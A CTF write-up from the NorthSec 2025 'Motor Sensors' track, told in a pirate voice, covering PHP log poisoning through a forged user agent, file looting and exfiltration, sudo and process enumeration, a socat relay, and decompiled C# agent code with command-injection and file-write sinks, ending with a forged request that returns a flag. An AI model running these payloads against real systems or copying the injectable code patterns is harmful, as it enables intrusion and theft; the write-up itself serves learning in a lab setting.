Hubert Hackin''
  • All posts
  • About
  • Our CTF

NSEC25 Motor Sensors - Tue, Jun 10, 2025 - Jean Privat

The Foes We Made Along the Way

Table of Contents

  1. Marine Log
  2. Exploitation
  3. Explanation
  4. Exploration
  5. Hook.php (because I lost a hand)
  6. Processes
  7. MotorSensors.Agent
  8. Configuration
  9. The Other Machine
  10. Sea Spot Run
  11. Pirate in the Middle
  12. The Sharp Sea
  13. Three Promises
  14. Phone Home
  15. GetFlagRequest
  16. To Smith an Agent
  17. Confused Monitoring Deputee
  18. Serialize Killer
  19. Johnny D. Root
  20. motor_sensor1.key
  21. Simply Typed Lambda Calculus
  22. Release the Krakin’’
  23. The Elusive 5th Machine
  24. Race-condition of SIMD Instructions
  25. Thinking With Portals
  26. Sudo Truncate-me a Sandwich
  27. Murder and SQLI
  28. Forward to the Past
  29. XSS Our Souls
  30. Createhumpty Createdumpty
  31. Source and Sink the Boat

Arrr young pirate! It’s time for a bedtime story. No, not a story… An adventure! A journey! Open your ears and your eye. I will narrate the story of the Hubert Hackin’’ crew and the motor sensors.

A ship of this class has massive engine rooms spanning multiple decks. I want to make sure that at all time motor sensors can prove us that we’re following our trajectory.

A website is used for the monitoring. It shows different logs and a few errors. I wonder if we could capitalize on that and get information about the motors through their sensors.

Marine Log

The site is a plain (no CSS) HTML page displaying the raw content of log files, which can be easily found in /var/log: syslog, apt/history.log, log/alternatives.log, etc.

There are two interesting things. The first is the warning messages in the Syslog section.

Warning:  include(/var/log/syslog): Failed to open stream: Permission denied in /var/www/html/index.php on line 14
Warning:  include(): Failed opening '/var/log/syslog' for inclusion (include_path='.:/usr/share/php') in /var/www/html/index.php on line 14

That means that the server lacks permission to read /var/log/syslog.

The second is that the server runs a basic PHP page (/var/www/html/index.php) that includes some log files.

Because include executes PHP, we may get an RCE (remote code execution) if we can inject something we control into the logs. Are there such log files? Yes, the Web Server Access Logs!

If we reload the page, we get:

2602:fc62:ef:2089::104 - - [16/May/2025:23:09:23 +0000] "GET / HTTP/1.1" 200 4990 "http://motor-sensor.ctf/" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"

This line corresponds to our first visit to the site. What do we control here: the URL (the universal location of the resource), the referrer (the previously visited page), the user agent (how the browser identifies itself), the HTTP verb and protocol (these are a more complex beast to deal with, but we can still control them).

Exploitation

The user agent is the easiest here as it is often free-form whereas URLs have structural and character constraints. It may not matter in the challenge but it is always better to follow the frictionless path.

Let’s try a forged HTTP request with curl. We know (from the warning message), that PHP is executed. We can confirm that and check if filtering is present by injecting a simple, short, and harmless PHP expression.

$ curl http://motor-sensor.ctf/arrr -A '<?=40+2?>'

If we check the website again; a new line appears.

2602:fc62:ef:2089::104 - - [19/May/2025:23:23:52 +0000] "GET /arrr HTTP/1.1" 404 439 "-" "42"

Explanation

The server added a line to access.log when answering the curl request. That line contains information about the web client and its request, including our made-up user agent identification.

2602:fc62:ef:2089::104 - - [19/May/2025:23:23:52 +0000] "GET /arrr HTTP/1.1" 404 439 "-" "<?=40+2>"

Then we request index.php with our normal browser. The PHP interpreter executes index.php, which includes access.log, which contains the identification of the user agent <?=40+2?>. But the PHP interpreter does not know about logs or user agents. Its job is to read PHP files, look for PHP special tags like <?=40+2?>, and evaluate them. So we get 42 on the motor sensor web page.

Trivia time: we did use a computer we do not own, or pay electricity, to compute a computation for our own needs. Remember that, as Luffy says, pirating is all about freedom and other free things. It was a simple computation, 40+2, that barely requires a computer, but the same type of techniques can be used by real-world pirates to freely mine crypto-money for instance.

But this is another story, young pirate. Let’s go back to pillaging the CTF challenge.

Exploration

RCE a web server is great, but it’s worthless if we cannot monetize it. Therefore we need flags, as proof of intrusion, but also to sell them to interested people on the dark web in exchange of some juicy CTF points. In the NorthSec lore this year, a single CTF point is worth $1,000.00, quite interesting for honest working pirates like us!

As you know from the stories, Pirates are explorers. They explore seas, islands, and file systems!

$ curl http://motor-sensor.ctf/arrr -A '<?=`ls -l /`?>'

And we get, in the log, the content of the root directory.

total 18
lrwxrwxrwx   1 root   root      7 Apr 22  2024 bin -> usr/bin
drwxr-xr-x   2 root   root      2 Feb 26  2024 bin.usr-is-merged
drwxr-xr-x   2 root   root      2 Apr 22  2024 boot
drwxr-xr-x   8 root   root    480 May 18 04:11 dev
drwxr-xr-x  72 root   root    146 May 15 20:16 etc
-rw-r--r--   1 root   root     62 May 15 20:15 flag-1.txt
-r--r-----   1 root   service  62 May 15 20:15 flag-2.txt
-r--------   1 root   root     62 May 15 20:15 flag-3.txt
drwxr-xr-x   4 root   root      4 May 15 20:11 home
lrwxrwxrwx   1 root   root      7 Apr 22  2024 lib -> usr/lib
drwxr-xr-x   2 root   root      2 Apr  8  2024 lib.usr-is-merged
lrwxrwxrwx   1 root   root      9 Apr 22  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root   root      2 May 15 07:43 media
drwxr-xr-x   2 root   root      2 May 15 07:43 mnt
drwxr-xr-x   3 root   root      3 May 15 20:12 opt
dr-xr-xr-x 854 nobody nogroup   0 May 18 04:11 proc
drwx------   4 root   root      6 May 15 20:11 root
drwxr-xr-x  13 root   root    340 May 18 04:11 run
lrwxrwxrwx   1 root   root      8 Apr 22  2024 sbin -> usr/sbin
drwxr-xr-x   2 root   root      2 Mar 31  2024 sbin.usr-is-merged
drwxr-xr-x   2 root   root      2 May 15 07:43 srv
dr-xr-xr-x  13 nobody nogroup   0 May 17 02:49 sys
drwxrwxrwt   2 root   root      2 May 18 04:11 tmp
drwxr-xr-x  12 root   root     12 May 15 07:43 usr
drwxr-xr-x  13 root   root     15 May 15 20:14 var

Here, do you see the three flag files? We can loot them.

$ curl http://motor-sensor.ctf/arrr -A '<?=`cat /flag*`?>'

But we get only one single small flag:

FLAG-0f4883c92bc7799f08b4d7e62900d7b6 (1/3 for motor-sensor1)

Why? Because the web server does not have access to the two other files. flag-1.txt can be read by any processes, flag-2.txt can only be read by processes of the service group, which does not include the web server. flag-3.txt can only be read by root, which is traditionally the username of the system administrator. To capture these two other flags, we will have to control some processes of the service group, and then impersonate root itself.

This will be a long and complex story, so stay tuned! I will tell you about them later, but for the moment, let’s trade our first flag.

$ askgod submit FLAG-0f4883c92bc7799f08b4d7e62900d7b6
1 point
It's only the beginning. Good luck, have fun. (1/3 for agent 1) (1/12)

Billions of bilious blue blistering barnacles in a thundering typhoon! There are 12 flags in this track, and maybe 42 points. We are in for so much fun and booty. By the way, we got one of the three flags of “agent 1”, whatever it is. Maybe the two missing ones are in the unreadable flag files at the root of the file system.

Trivia time: the first directory of a Unix file system is also called root, like the administrator. This little trick was used back in the day to reuse strings and save memory space, like the well-known bush/cloud sprite of the Super Mario Brother game (スーパーマリオブラザーズ).

Hook.php (because I lost a hand)

Using the web RCE we can find more information about the computer’s whereabouts, the running processes and exfiltrate some information to analyze them at our own pace on the boat.

We exfiltrate the source code of the index.php page. Nothing fancy, it’s a bunch of PHP include instructions as we rightfully supposed. However, the implementation of the reset action is interesting:

if (isset($_GET, $_GET["reset"])) {
  passthru("sudo /usr/bin/truncate -s 0 /var/log/apache2/access.log");
  passthru("sudo /usr/bin/truncate -s 0 /var/log/apache2/error.log");
  header("Location: /");
  die();
}

The reset is done by setting the file sizes at 0 (thus removing all contents). Note that sudo is used here passwordless. Maybe, there are other passwordless sudo commands? We can ask for them with sudo -l. That gives

Matching Defaults entries for www-data on motor-sensor1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on motor-sensor1:
    (ALL) NOPASSWD: /usr/bin/truncate -s 0 /var/log/apache2/access.log
    (ALL) NOPASSWD: /usr/bin/truncate -s 0 /var/log/apache2/error.log

So no more commands but the two used in index.php. These can be run as root by the web server (to clear the logs). Remember this, little one, this will be important later.

Processes

We remote code execute ps aux and got

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  1.5  21100  7948 ?        Ss   03:03   0:00 /sbin/init
service      229  0.0 11.1 273716872 58632 ?     Ssl  03:03   0:03 /opt/agent/MotorSensors.Agent
root         231  0.0  0.2   9424  1440 ?        Ss   03:03   0:00 /usr/sbin/cron -f -P
message+     232  0.0  0.5   9444  2864 ?        Ss   03:03   0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         233  0.0  1.0  17512  5428 ?        Ss   03:03   0:00 /usr/lib/systemd/systemd-logind
root         249  0.0  2.5 209056 13548 ?        Ss   03:03   0:00 /usr/sbin/apache2 -k start
www-data     251  0.0  2.9 209740 15308 ?        S    03:03   0:00 /usr/sbin/apache2 -k start
www-data     252  0.0  2.8 209724 14792 ?        S    03:03   0:00 /usr/sbin/apache2 -k start
www-data     253  0.0  2.9 210052 15608 ?        S    03:03   0:00 /usr/sbin/apache2 -k start
www-data     254  0.0  2.7 209740 14216 ?        S    03:03   0:00 /usr/sbin/apache2 -k start
www-data     255  0.0  2.5 209740 13116 ?        S    03:03   0:00 /usr/sbin/apache2 -k start
www-data     297  0.0  2.2 209724 12044 ?        S    03:04   0:00 /usr/sbin/apache2 -k start
www-data     544  0.0  0.2   2800  1088 ?        S    03:14   0:00 sh -c -- ps aux
www-data     545  0.0  0.5   7888  2928 ?        R    03:14   0:00 ps aux

MotorSensors.Agent is run as the service user. You remember that’s what we need to read flag-2.txt? You’re right, we need the group, not the user but we can assume it’s okay. I do not want to look at the ps manpage and search how to display the group column. Pirates don’t read the filibuster’s manual! So MotorSensors.Agent is now our target.

Trivia time: Although ps aux is the auxiliary syntax, it seems to work most of the time on most machines. Don’t ask me why.

Otherwise, the machine is quite empty, only the web server (for a single PHP page). It’s obvious that nothing else is useful here.

MotorSensors.Agent

Let’s look at /opt/agent. This directory contains many files and is likely a complete (and exploitable) application. To exfiltrate it, we need a way to simplify the retrieval in the HTML document, especially regarding size and special characters. We can do both with the command tar z /opt | base64, retrieve the base64 blob, and extract it.

There are some .so files and many .dll files, which are heretic on a Linux box, but the other files are interesting.

  • MotorSensors.Agent is the main binary of the application;
  • configuration.json is a JSON file;
  • createdump is another binary. It is likely the standard tool from the dotnet core runtime. However, its presence in the application directory is a good omen for merry pirates like us. We will use it to extract some information available in process memory. The only issue is that root is required. But we will come to that later.

Configuration

{
  "EnrollmentKey": "0931f838-4191-46b4-99dc-cf76769e9aed",
  "SecretKey": "7z7qx3UycIRWln0nSaTFLJfmLnkh0zmiNNvntdR9q14WkYGX72",
  "AccessKey": "JU8YwoI8BPlP6w4vtmJt",
  "Host": "9000:b830:a62f:98ed:216:3eff:feca:8765",
  "Port": 51842,
  "HeartBeatTimer": 5000,
  "PollTimer": 1500,
  "Plugins": {
    "remote_diagnostics": {
      "Enabled": false,
      "PollTimer": 1500,
      "DisabledPollTimer": 30000
    },
    "process_infos": {
      "Enabled": true,
      "PollTimer": 1500,
      "DisabledPollTimer": 30000
    },
    "firmware_updater": {
      "Enabled": false,
      "PollTimer": 1500,
      "DisabledPollTimer": 30000,
      "Hint": "FLAG-HINT-78d4338ce675f49e40c232d4bd3f93f4"
    }
  }
}

A hint flag!

HINT: The third agent can only be done AFTER having ‘service’ level of privileges on both agent 1 and 2.

So, there is more than one agent. We can certainly assume that we are on the box of agent 1 (or Agent), and that there are at least two other boxes with two other agents: agent 2 (or Bgent) and agent 3 (or Cgent), that we will have to ransack later.

Besides the flag, there is interesting intelligence:

  • A machine to connect to, 9000:b830:a62f:98ed:216:3eff:feca:8765 (port 51842). It can be another agent (a peer-to-peer model), or a server (a client-server model). We assume the latter and name it the server.
  • Some credentials to connect to the server.
  • Some configuration about the service and plugins. The names are hopefully self-descriptive process_infos should help us to get information on the box of an agent (recon? or RCE?), and firmware_updater might help us to upload code we control (and optionally malware). Let’s remember that! remote_diagnostics is less descriptive but we will talk about it later, at the relevant time.

The Other Machine

As sailors know, the NorthSec people loathe enumeration and script kiddies. Some of these young guys learned it the hard way and their corpses are now rotting, hanged at the Bonsecours gates. Therefore, as freethinker pirates, our first power move is to scan the machine.

$ nmap -6 9000:b830:a62f:98ed:216:3eff:feca:8765
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 11:45 EDT
Nmap scan report for 9000:b830:a62f:98ed:216:3eff:feca:8765
Host is up (0.00019s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Pirates are free, they roam from port to port, according to their mood, so we connect to port 5000 with our web browser and are greeted by a login portal. Login, and password, we do not have them now, but this will be really important later. For now, let’s look at the agent.

Sea Spot Run

We have the application, and the credentials to the server. Can we run it locally, let it connect to the server to do its things, and observe it? Yes, we can! Because we are fearless and fearsome pirates.

We can use shell.ctf as our client machine, but pirates are fearless, remember kid, so we YOLO-run it on the bare OS of our corporate laptop!

$ ./MotorSensors.Agent
Loading plugin from: /home/privat/work/ctf/nsec25/motor-sensors/opt/agent/plugins/ProcessInfo/MotorSensors.Agent.Plugin.ProcessInfo.dll
...

That works, but nothing useful.

Pirate in the Middle

We can try to hijack the communication between the agent and its counterpart. Listening to communication and gathering intelligence is the true pirate way of life.

The plan is to pirate-in-the-middle the protocol by running our own agent on a controlled host and using a multipurpose relay. The credentials from the configuration file allow us to spawn new agents.

Pirates rob from the rich and give to the poor, and pirates are always poor. So we can have a poor man in the middle to monitor the communication.

We edit the configuration of our local agent to connect to ::1, the IPv6 localhost. And start the PMITM with:

$ socat -x -v TCP6-LISTEN:51842 TCP:[9000:b830:a62f:98ed:216:3eff:feca:8765]:51842

We now have in real-time a dump of the communication. The protocol is simple: four bytes with the length of the message. Requests and responses use the same format.

00000000: d800 0000 7b22 4e61 6d65 223a 224d 6f74  ....{"Name":"Mot
00000010: 6f72 5365 6e73 6f72 732e 436f 7265 2e4e  orSensors.Core.N
00000020: 6574 776f 726b 2e52 6571 7565 7374 2e49  etwork.Request.I
00000030: 7345 6e72 6f6c 6c65 6452 6571 7565 7374  sEnrolledRequest
00000040: 222c 224d 6573 7361 6765 223a 227b 5c75  ","Message":"{\u
00000050: 3030 3232 4163 6365 7373 4b65 795c 7530  0022AccessKey\u0
00000060: 3032 323a 5c75 3030 3232 4a55 3859 776f  022:\u0022JU8Ywo
00000070: 4938 4250 6c50 3677 3476 746d 4a74 5c75  I8BPlP6w4vtmJt\u
00000080: 3030 3232 2c5c 7530 3032 3253 6563 7265  0022,\u0022Secre
00000090: 744b 6579 5c75 3030 3232 3a5c 7530 3032  tKey\u0022:\u002
000000a0: 3237 7a37 7178 3355 7963 4952 576c 6e30  27z7qx3UycIRWln0
000000b0: 6e53 6154 464c 4a66 6d4c 6e6b 6830 7a6d  nSaTFLJfmLnkh0zm
000000c0: 694e 4e76 6e74 6452 3971 3134 576b 5947  iNNvntdR9q14WkYG
000000d0: 5837 325c 7530 3032 327d 227d            X72\u0022}"}

Yes, there is JSON in the JSON, so the special character " is escaped as \u0022. The Name key is interesting as the value looks like a class identifier MotorSensors.Core.Network.Request.IsEnrolledRequest. Remember that since this will help us abuse unsafe deserialization later.

The Sharp Sea

What do we know? A lot of things, like the color of the sky and that MotorSensors.Agent is a C# application that implements a monitoring agent connected to a remote server. They communicate using a custom protocol with JSON. But we are missing the details.

We do not have the source code of the Agent but we have the bytecode (called CIL in the dotnet world). There should be some tools or something to disassemble CIL or browse it. We navigate on the open seas of the wide Internet and find ILSpy.

Decompilation worked, the tool has a buggy interface but we still can navigate the decompiled code and understand its inner details.

Trivia time: Buggy is a famous pirate.

Agent connects to the server and regularly asks if there is any work to do with a PollRequest.

// MotorSensors.Core.Network.IMessage
public interface IMessage
{
}

// MotorSensors.Core.Network.Request.IRequest
[Serializable]
public abstract class IRequest : IMessage
{
	public string AccessKey { get; set; } = "";
	public string SecretKey { get; set; } = "";
}

// MotorSensors.Core.Network.Request.PollRequest
[Serializable]
public class PollRequest : IRequest
{
}

The JSON of the request is something that looks like

{"Name":"MotorSensors.Core.Network.Request.PollRequest","Message":"{\\u0022AccessKey\\u0022:\\u00224gvBBIkoPyJ1k0w
SUAfL\\u0022,\\u0022SecretKey\\u0022:\\u00227z7qx3UycIRWln0nSaTFLJfmLnkh0zmiNNvntdR9q14WkYGX72\\u0022}"}

In the JSON we saw the class of the request MotorSensors.Core.Network.Request.PollRequest as Name and the contents of the fields as a JSON-in-JSON Messages.

The answer of the server is a

{"Name":"MotorSensors.Core.Network.Response.PollResponse","Message":"{\\u0022Request\\u0022:\\u0022MotorSensors.Co
re.Network.Request.MachineInfoRequest\\u0022,\\u0022SerializedParameters\\u0022:null}"}

The response has the same format. We still have Name which is the class of the response object, and Message for the fields of the class. Here Request (for we assume the name of the original request class) and SerializedParameters that is null here. Probably because the server has no tasks for the agent.

The class PollResponse matches the response:

// MotorSensors.Core.Network.Response.PollResponse
[Serializable]
public class PollResponse : IMessage
{
	public string? Request { get; set; }
	public string? SerializedParameters { get; set; }
}

These pairs of request-response are managed by handlers. E.g. PollHandler for PollRequest and PollResponse. The behavior is straightforward: get a request object, serialize it, send it on the wire, retrieve a response, unserialize it, validate it, and return it.

// MotorSensors.Agent.Handlers.PollHandler
public class PollHandler : BaseHandler<PollRequest, PollResponse>
{
	public override PollResponse Handle(NetworkStream networkStream, PollRequest request)
	{
		string r = Utils.Serialize(Utils.CreateNetworkObject(request), typeof(NetworkObject));
		IMessage message;
		lock (networkStream)
		{
			Utils.WriteToStream(networkStream, r);
			message = Utils.ReadMessageFromStream(networkStream);
		}
		Validate(message);
		return (PollResponse)message;
	}
}

Their class hierarchy and related services are a little more complex, but not that much.

// MotorSensors.Core.Handlers.IHandler
public interface IHandler
{
}

// MotorSensors.Agent.Handlers.IRequestHandler
public interface IRequestHandler : IHandler
{
	object Handle(NetworkStream networkStream, object request);
}

// MotorSensors.Agent.Handlers.BaseHandler<TRequest,TResponse>
public abstract class BaseHandler<TRequest, TResponse> : IRequestHandler, IHandler
{
	public abstract TResponse Handle(NetworkStream networkStream, TRequest request);

	object IRequestHandler.Handle(NetworkStream networkStream, object request)
	{
	// ... skipped... just call the other Handle method
	}

	protected bool Validate(IMessage response)
	{
	// ... skipped... do some tests and raise exceptions
	}
}

Note: With our PMITM we never observed the server responding anything but null to a PollRequest. Pirates are not known for being patient, so we stopped observing. Obviously, logging a long connection between the agent and the server is useless and wastes precious CPU cycles.

The agent is a real business application, therefore, the life-cycle of handlers is heavily design-pattern oriented. There is a HandlerFactory, implementing an IHandlerFactory, that allocates short-lived handlers. Agent.DoRequest is a generic method that takes a request and does the full job: allocates the correct handler for the request (thanks to HandlerFactory), then asks the handler to handle the request, then returns the response. This is done with OO polymorphism and (un-erased) generics. The whole code is complex and, with our luck, some vulnerabilities may lurk within, as you will see when will be at it later. But for the moment, I give you only the code.

public T DoRequest<T>(NetworkStream networkStream, IMessage request)
{
	try
	{
		return (T)((IRequestHandler)handlerFactory.GetHandler(request.GetType().FullName ?? "")).Handle(networkStream, request);
	}
	catch (InternalServerErrorException ex)
	{
		Console.WriteLine(ex.Message);
		throw;
	}
	//... some other catches
}

The application is also multi-threaded. There are two core threads on the agent, and an additional thread for each active plugin. This is really important as it hints at race-condition issues that we will abuse later.

The two core threads are StartHeartBeat which regularly pokes the server (no information on the request or the response) and StartPolling which is more interesting as it regularly asks for something to do, then does it:

  1. MachineInfoRequest to provide information about free/used ram, mac address, ip, dns, connected users, date, etc.
  2. TaskListUpdateRequest to provide a list of processes running on the agent.

Both these services are interesting as they allow reckoning and scouting, because pirates like to be prepared before a naval battle.

Trivia time: if you know beforehand the position of battleships, the game of guessing lines and columns is a lot easier.

Three Promises

Plugins are toggleable in the configuration file, so each agent might have a different set of them.

ProcessInfoPlugin is used to ask for some specific process information. But the executed command seems exploitable. Remember that for later, this will be interesting.

process.StartInfo.Arguments = "-c \"/usr/bin/pgrep -d' ' '" + Path.GetFileName(request.Name.Split(" ")[0].Split(".")[0]) + "'\"";

FirmwareUpdaterPlugin seems to be able to overwrite or extend existing files. This is really promising. You will love it when I’ll show you later.

if (request.Append)
{
    File.AppendAllText(fileName, request.Content);
}
else
{
    File.WriteAllText(fileName, request.Content);
}

RemoteDiagnosticPlugin seems to be able to run arbitrary commands. So, it’s a nice easy target for later but I do not want to spoil it for now.

process.StartInfo.FileName = "/bin/bash";
process.StartInfo.Arguments = "-c \"" + request.Command + "\"";

All the hours we painfully used to reverse engineering were obviously useful. We now have a basic overview of the application, with really nice potential vulnerabilities we will exploit. The specific details about each of them will follow later, but beforehand we have an important issue to solve.

Phone Home

As an agent connects and communicates only to its server (with a hard-coded IPv6 in the configuration file), there is no obvious way to interact with the running agent on the box. But we can connect to the server (thanks to the credentials we borrow from Agent), and interact with it, hoping to get something in return.

Note: freshwater sailors may attempt to fuzz the server with crafted requests to find flaws or attempt to reverse-engineer it. This is obviously a foolish approach as the search space is too wide with too much uncertainty. As pirates, we hate unpredictability. Moreover, DOS-ing the server by sending blindly-crafted garbage might prevent us from robbing more flags. It’s like shooting ourselves in the peg leg. That isn’t worth the risk.

Trivia time: DOS refers to the Disk Operating System, an OS that denied many services.

What are the possible requests that exist?

  • AgentConfigurationUpdateRequest that informs the server of a list of active/disabled plugins on the agent.
  • ArePluginsAvailableRequest asks the server if it accepts some plugins.
  • EnrollmentRequest gives an enrollment key and a secret key to the server in exchange for an access key. This is useful as we will enroll fake clients with it later.
  • HeartBeatRequest gives nothing to the server and returns nothing.
  • IsEnrolledRequest gives nothing and returns true or false.
  • MachineInfoRequest gives a bunch of information to the server.
  • PollRequest asks what to do to the server.
  • TaskListUpdateRequest gives a list of processes to the server.
  • GetFlagRequest asks for a flag.

Let’s try this one first. We will take care of the remaining later.

GetFlagRequest

We can try to hack the existing agent we run on our corporate laptop to use GetFlagRequest. But, we do not have the source code of the agent, and more importantly, we do not feel writing any C# code — it gives me rash.

Trivia time: C# is the third major cause of hives after strawberries and anchovies.

A simpler approach is to send a forged TCP request and expect that the server is dumb enough to answer us, without checking the socket connection, the IP, or anything.

We can forge a custom JSON message, getflagrequest.json, for the GetFlagRequest. This request does not have any field except the mandatory AccessKey and SecretKey.

{"Name":"MotorSensors.Core.Network.Request.GetFlagRequest","Message":"{\u0022AccessKey\u0022:\u0022JU8YwoI8BPlP6w4vtmJt\u0022,\u0022SecretKey\u0022:\u00227z7qx3UycIRWln0nSaTFLJfmLnkh0zmiNNvntdR9q14WkYGX72\u0022}"}

We use our obviously powerful coding skills to implement an efficient request forgery.

$ cat pack.sh
#!/bin/sh
ruby -e 'print([ARGV[0].to_i].pack("l"))' `wc -c $1`
cat $1

$ ./pack.sh getflagrequest.json | ncat 9000:b830:a62f:98ed:216:3eff:feca:8765 51842
�{"Name":"MotorSensors.Core.Network.Response.GetFlagResponse","Message":"{\u0022Flag\u0022:\u0022FLAG-a564152212493894d392d504b7c73f55 (1/4 for sensors-controller)\u0022}"}

We can submit our second flag!

$ askgod submit FLAG-a564152212493894d392d504b7c73f55 
Congratulations, you score your team 3 points!
Message: Great job. Now that you have your own client, you can finally start the track for real. (1/4 for controller) (9/12)

Ten thousand thundering typhoons! We got the 9th flag, thus, obviously, missed 7 of them.

And now? Are we at a dead end? No way to control Agent? No code and no way to understand the server? No information about Bgent or Cgent? No information about the portal or a possible bypass? Nothing more to do with the web RCE? That was what we thought at the moment, but… Oh, little pirate, you are sleeping. I will continue the rest of the story tomorrow. Sleep well little one, and have nice dreams about flags and open seas…

Voice-over: The narrator died of scurvy during the night and couldn’t finish the story the following day.

Back to Home


Hackez la Rue! | © Hubert Hackin'' | 2025-06-10 | theme hugo.386